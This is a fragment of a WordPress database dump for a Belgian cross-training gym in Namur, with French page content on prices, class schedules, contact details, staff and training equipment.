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(214, 1, '2013-07-03 18:25:11', '2013-07-03 18:25:11', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'publish', 'closed', 'open', '', 'prix', '', '', '2013-11-04 17:38:55', '2013-11-04 17:38:55', '', 0, 'http://www.crosstrainingcenter.be/?page_id=214', 0, 'page', '', 0),
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(232, 1, '2013-07-03 19:31:30', '2013-07-03 19:31:30', '', 'bertrand_bauwin-pti', '', 'inherit', 'open', 'open', '', 'bertrand_bauwin-pti', '', '', '2013-07-03 19:31:30', '2013-07-03 19:31:30', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(217, 1, '2013-07-03 18:23:56', '2013-07-03 18:23:56', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:23:56', '2013-07-03 18:23:56', '', 11, 'http://www.crosstrainingcenter.be/?p=217', 0, 'revision', '', 0),
(220, 1, '2013-06-16 15:15:32', '2013-06-16 15:15:32', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nChaussée de Perwez 251\r\n5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;iframe width=\&quot;425\&quot; height=\&quot;350\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; marginheight=\&quot;0\&quot; marginwidth=\&quot;0\&quot; src=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;output=embed\&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;small&gt;&lt;a href=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;source=embed\&quot; style=\&quot;color:#0000FF;text-align:left\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-06-16 15:15:32', '2013-06-16 15:15:32', '', 9, 'http://www.crosstrainingcenter.be/?p=220', 0, 'revision', '', 0),
(221, 1, '2013-06-16 15:08:36', '2013-06-16 15:08:36', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:08:36', '2013-06-16 15:08:36', '', 20, 'http://www.crosstrainingcenter.be/?p=221', 0, 'revision', '', 0),
(222, 1, '2013-06-16 13:47:21', '2013-06-16 13:47:21', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 13:47:21', '2013-06-16 13:47:21', '', 22, 'http://www.crosstrainingcenter.be/?p=222', 0, 'revision', '', 0),
